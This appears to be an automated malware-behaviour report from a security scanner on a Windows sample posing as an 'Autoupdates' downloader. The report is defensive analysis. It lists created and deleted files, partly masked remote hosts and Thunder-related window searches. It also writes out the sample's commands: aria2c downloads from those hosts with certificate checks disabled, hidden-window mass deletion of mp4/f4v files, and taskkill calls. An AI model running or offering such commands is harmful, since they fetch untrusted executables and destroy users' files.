Technical Information
Malicious functions
Executes the following
- '%WINDIR%\syswow64\taskkill.exe' /f /im Autoupdates.exe
Modifies file system
Creates the following files
- <Current directory>\config.ini
- <Current directory>\autoupdates.ini
- <Current directory>\autoupdates.exe
- <Current directory>\aria2c.exe
- <Current directory>\80sµçó°²é¼¯ïâôøïµГВі.exe.bak
- <Current directory>\annie.exe.bak
- <Current directory>\annie.exe.bak.aria2__temp
- <Current directory>\annie.exe
- <Current directory>\apkserver.dll.bak.aria2__temp
- <Current directory>\apkserver.dll.bak
- <Current directory>\apkserver.dll
- <Current directory>\app·þîñ¶ë.exe.bak
- <Current directory>\ffmpeg.exe.bak
- <Current directory>\ffmpeg.exe.bak.aria2__temp
Deletes the following files
- <Current directory>\annie.exe.bak.aria2
- <Current directory>\annie.exe.bak
- <Current directory>\apkserver.dll.bak.aria2
- <Current directory>\apkserver.dll.bak
- <Current directory>\ffmpeg.exe.bak
Moves the following files
- from <Current directory>\annie.exe.bak.aria2__temp to <Current directory>\annie.exe.bak.aria2
- from <Current directory>\apkserver.dll.bak.aria2__temp to <Current directory>\apkserver.dll.bak.aria2
- from <Current directory>\ffmpeg.exe.bak.aria2__temp to <Current directory>\ffmpeg.exe.bak.aria2
Network activity
Connects to
- 'im####dn.yxtbit.com':80
- 'tz###hua.com':80
- 'rh##.f3322.net':8801
- 'al#.#xtbit.com':80
- 'tc#.##ambition.net':443
TCP
HTTP GET requests
- http://al#.#xtbit.com/Autoupdates/ffmpeg.exe
Other
- 'tc#.##ambition.net':443
UDP
- DNS ASK im####dn.yxtbit.com
- DNS ASK tz###hua.com
- DNS ASK rh##.f3322.net
- DNS ASK al#.#xtbit.com
- DNS ASK tc#.##ambition.net
Miscellaneous
Searches for the following windows
- ClassName: 'NotifyIconOverflowWindow' WindowName: ''
- ClassName: '' WindowName: 'ThunderPlatform.exe'
- ClassName: '' WindowName: 'ThunderBrowser.exe'
- ClassName: '' WindowName: 'Thunder.exe'
- ClassName: '' WindowName: 'NO_UPDATE'
- ClassName: '' WindowName: 'Newtonsoft.Json.dll'
- ClassName: '' WindowName: 'm3u8DL-YK.exe'
- ClassName: '' WindowName: 'm3u8DL.exe'
- ClassName: '' WindowName: 'dotNetFx45_Full_setup.exe'
- ClassName: '' WindowName: 'ГЉГ»¤ÏÂÔГ.exe'
- ClassName: '' WindowName: 'xiazai.exe'
- ClassName: '' WindowName: 'webkit.exe'
- ClassName: '' WindowName: 'sylsdym.dll'
- ClassName: '' WindowName: 'sylsdy.dll'
- ClassName: '' WindowName: 'syls.dll'
- ClassName: '' WindowName: 'node.dll'
- ClassName: '' WindowName: 'ffmpeg.exe'
- ClassName: '' WindowName: 'APP·þÎñ¶Ë.exe'
- ClassName: '' WindowName: 'apkserver.dll'
- ClassName: '' WindowName: 'annie.exe'
- ClassName: '' WindowName: '80SµçÓ°²É¼¯ÏÂÔГϵͳ.exe'
- ClassName: '' WindowName: ''
- ClassName: '' WindowName: 'Autoupdates.exe'
- ClassName: 'SysPager' WindowName: ''
- ClassName: 'TrayNotifyWnd' WindowName: ''
- ClassName: 'ToolbarWindow32' WindowName: ''
- ClassName: '' WindowName: 'DownloadSDKServer.exe'
- ClassName: '' WindowName: 'MiniThunderPlatform.exe'
Creates and executes the following
- '<Current directory>\autoupdates.exe' http://im####dn.yxtbit.com/Autoupdates/updates.txt
- '<Current directory>\aria2c.exe' --check-certificate=false -o 80SµçÓ°²É¼¯ÏÂÔГϵͳ.exe.bak -s5 -x5 "http://rh##.#3322.net:8801/Autoupdates/80SµçÓ°²É¼¯ÏÂÔГϵͳ10.81.exe"
- '<Current directory>\aria2c.exe' --check-certificate=false -o annie.exe.bak -s5 -x5 "http://al#.#xtbit.com/Autoupdates/annie.exe"
- '<Current directory>\aria2c.exe' --check-certificate=false -o apkserver.dll.bak -s5 -x5 "http://al#.#xtbit.com/Autoupdates/apkserver.dll"
- '<Current directory>\aria2c.exe' --check-certificate=false -o APP·þÎñ¶Ë.exe.bak -s5 -x5 "http://al#.#xtbit.com/Autoupdates/APP·þÎñ¶Ë.exe"
- '<Current directory>\aria2c.exe' --check-certificate=false -o ffmpeg.exe.bak -s5 -x5 "http://al#.#xtbit.com/Autoupdates/ffmpeg.exe"
- '<Current directory>\aria2c.exe' --check-certificate=false -o node.dll.bak -s5 -x5 "http://al#.#xtbit.com/Autoupdates/node.dll"
- '%WINDIR%\syswow64\cmd.exe' /C del /F /S /Q <Current directory>\*.f4v' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C del /F /S /Q <Current directory>\*.mp4' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c taskkill /f /im Autoupdates.exe' (with hidden window)
Executes the following
- '<SYSTEM32>\rundll32.exe' <SYSTEM32>\FirewallControlPanel.dll,ShowNotificationDialog /configure /ETOnly 0 /OnProfiles 6 /OtherAllowed 0 /OtherBlocked 0 /OtherEdgeAllowed 0 /NewBlocked 4 "<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C del /F /S /Q <Current directory>\*.f4v
- '%WINDIR%\syswow64\cmd.exe' /C del /F /S /Q <Current directory>\*.mp4
- '%WINDIR%\syswow64\cmd.exe' /c taskkill /f /im Autoupdates.exe
